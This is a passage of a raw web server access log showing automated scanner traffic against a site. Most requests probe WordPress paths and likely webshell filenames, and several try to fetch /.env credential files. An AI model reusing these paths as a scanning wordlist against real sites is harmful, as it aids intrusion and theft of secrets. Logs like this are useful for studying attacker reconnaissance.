-0400] "GET /wp-content/themes/twentytwentyfour/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:08 -0400] "GET /admin/flower.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:09 -0400] "GET /wp-content/plugins/ninja-forms/randkeyword.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:10 -0400] "GET /wp-content/themes/news-portal/error.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:11 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:12 -0400] "GET /uploads/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:13 -0400] "GET /wp-content/fonts/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:14 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:15 -0400] "GET /.well-known/acme-challenge/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:15 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:16 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:16 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:17 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:17 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:18 -0400] "GET /admin/uploads/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:19 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:19 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:21 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:21 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:22 -0400] "GET /wp-includes/SimplePie/Content/Type/inputs.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:22 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:23 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:23 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:23 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:24 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:25 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:26 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:26 -0400] "GET /wp-includes/SimplePie/Cache/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:27 -0400] "GET /wp-includes/css/dist/widgets/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:28 -0400] "GET /wp-includes/Text/Diff/Engine/file.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:28 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 40.123.25.177 - - [25/Apr/2025:04:02:29 -0400] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "-" 223.244.35.77 - - [25/Apr/2025:04:26:01 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 54.236.1.11 - - [25/Apr/2025:04:41:02 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 85.208.98.18 - - [25/Apr/2025:04:49:27 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; SemrushBot; +http://www.semrush.com/bot.html)" 119.122.113.115 - - [25/Apr/2025:05:00:18 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 119.122.113.115 - - [25/Apr/2025:05:00:20 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 114.119.153.132 - - [25/Apr/2025:05:28:42 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 173.244.56.46 - - [25/Apr/2025:06:06:13 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 43.166.253.94 - - [25/Apr/2025:06:16:05 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 23.137.100.26 - - [25/Apr/2025:06:21:08 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 23.137.100.26 - - [25/Apr/2025:06:21:09 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 23.137.100.26 - - [25/Apr/2025:06:24:38 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 23.137.100.26 - - [25/Apr/2025:06:24:39 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 23.27.109.52 - - [25/Apr/2025:07:08:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 23.27.109.52 - - [25/Apr/2025:07:09:01 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 82.43.226.96 - - [25/Apr/2025:07:41:45 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" 147.185.132.171 - - [25/Apr/2025:07:48:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 182.44.9.147 - - [25/Apr/2025:07:54:55 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.135.144.81 - - [25/Apr/2025:07:56:27 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 149.88.19.17 - - [25/Apr/2025:08:48:20 -0400] "GET /get-in-touch.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 YaBrowser/22.7.0 Yowser/2.5 Safari/537.36" 193.142.147.5 - - [25/Apr/2025:09:14:43 -0400] "GET /wp-content/themes/classic/inc/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.142.147.5 - - [25/Apr/2025:09:14:45 -0400] "GET /wp-content/RxR_arwpn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.142.147.5 - - [25/Apr/2025:09:14:48 -0400] "GET /wp-content/themes/classic/inc/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.142.147.5 - - [25/Apr/2025:09:14:51 -0400] "GET /wp-content/RxR_wmcpn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.142.147.5 - - [25/Apr/2025:09:14:53 -0400] "GET /wp-content/plugins/core-stab/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.142.147.5 - - [25/Apr/2025:09:14:55 -0400] "GET /wp-content/RxR_xfarz.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.142.147.5 - - [25/Apr/2025:09:14:58 -0400] "GET /wp-content/plugins/core-stab/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.142.147.5 - - [25/Apr/2025:09:15:00 -0400] "GET /wp-content/RxR_oqkfu.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.142.147.5 - - [25/Apr/2025:09:15:02 -0400] "GET /wp-content/plugins/core-stab/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.142.147.5 - - [25/Apr/2025:09:15:04 -0400] "GET /wp-content/RxR_kyeal.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 52.167.132.240 - - [25/Apr/2025:09:47:17 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:18 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:18 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:18 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:18 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:19 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:19 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:19 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:20 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:20 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:20 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:20 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:21 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:21 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:21 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:21 -0400] "GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:22 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:22 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:22 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:22 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:23 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:23 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:23 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:24 -0400] "GET /wp-cro.php/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:24 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:24 -0400] "GET /wordpress/wp-includes/js/mediaelement/renderers/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:24 -0400] "GET /wp-content/plugins/oxygen/component-framework/components/classes/gallery/photoswipe/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:25 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:25 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:25 -0400] "GET /wp-content/plugins/elementor-pro/modules/woocommerce/skins/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:26 -0400] "GET /wp-content/plugins/seo-by-rank-math/vendor/woocommerce/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:26 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:26 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/blocks-config/uagb-controls/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:27 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:27 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:27 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:27 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:28 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:28 -0400] "GET /newlms/assets/frontend/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:28 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:28 -0400] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:29 -0400] "GET /wp-content/themes/blocksy/static/sass/frontend/6-layout/entries/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:29 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:29 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:30 -0400] "GET /wp/wp-content/themes/twentytwenty/template-parts/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:30 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:30 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:30 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:31 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:31 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:31 -0400] "GET /.well-known/acme-challenge/action=./ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:31 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:32 -0400] "GET /vendor/symfony/serializer/Mapping/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:32 -0400] "GET /wp-content/themes/blocksy/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:32 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:32 -0400] "GET /assets/admin/plugins/ckeditor/plugins/scayt/dialogs/dialogs/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:33 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:33 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:33 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:34 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:34 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:34 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:34 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:35 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:35 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:35 -0400] "GET /wp-content/plugins/woocommerce/includes/gateways/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:35 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:36 -0400] "GET /wp-content/fonts//wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:36 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:36 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:37 -0400] "GET /wp-content/plugins/insert-headers-and-footers/includes/auto-insert/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:37 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:37 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:37 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:38 -0400] "GET /wp-includesmaps/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:38 -0400] "GET /wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/jsx/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:38 -0400] "GET /templates/ja_purity/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:39 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:39 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:39 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:40 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:40 -0400] "GET /wp-content/plugins/generateblocks/src/components/unit-picker/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:40 -0400] "GET /wp-includesmaps/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:40 -0400] "GET /wp-include.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:41 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:41 -0400] "GET /sos/NewTheme/images/VillagesPictures/Dhodial/Dhodial/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:41 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:41 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:42 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:42 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:42 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/review-card/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:43 -0400] "GET /wp-content/plugins/w3-total-cache/lib/Aws/Aws/Api/Parser/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:43 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:43 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:43 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:44 -0400] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:44 -0400] "GET /wp-content/themes/astra/inc/modules/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:44 -0400] "GET /wp-mai.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:45 -0400] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:45 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:45 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:45 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:46 -0400] "GET /wp-content/plugins/wp-table-builder/inc/core/freemius/assets/img/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:46 -0400] "GET /wp-activat.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:46 -0400] "GET /wp-includes/blocks/embed/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:47 -0400] "GET /wp-content/plugins/revslider/public/assets/js/libs/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:47 -0400] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:47 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:47 -0400] "GET /wp-content/plugins/pro-elements/modules/notes/database/query/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:48 -0400] "GET /wp-content/languages/themes//wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:48 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:48 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:48 -0400] "GET /wp-content/plugins/js_composer/include/params/options/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:49 -0400] "GET /wp-content/plugins/woocommerce/packages/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:49 -0400] "GET /backup/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:49 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:49 -0400] "GET /wp-content/themes/twentytwentythree/parts/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:50 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:50 -0400] "GET /wp-includes/css/dist/block-library/action/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:50 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:51 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:51 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:51 -0400] "GET /wp-admin/plugins/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [25/Apr/2025:09:47:51 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "-" 52.167.132.240 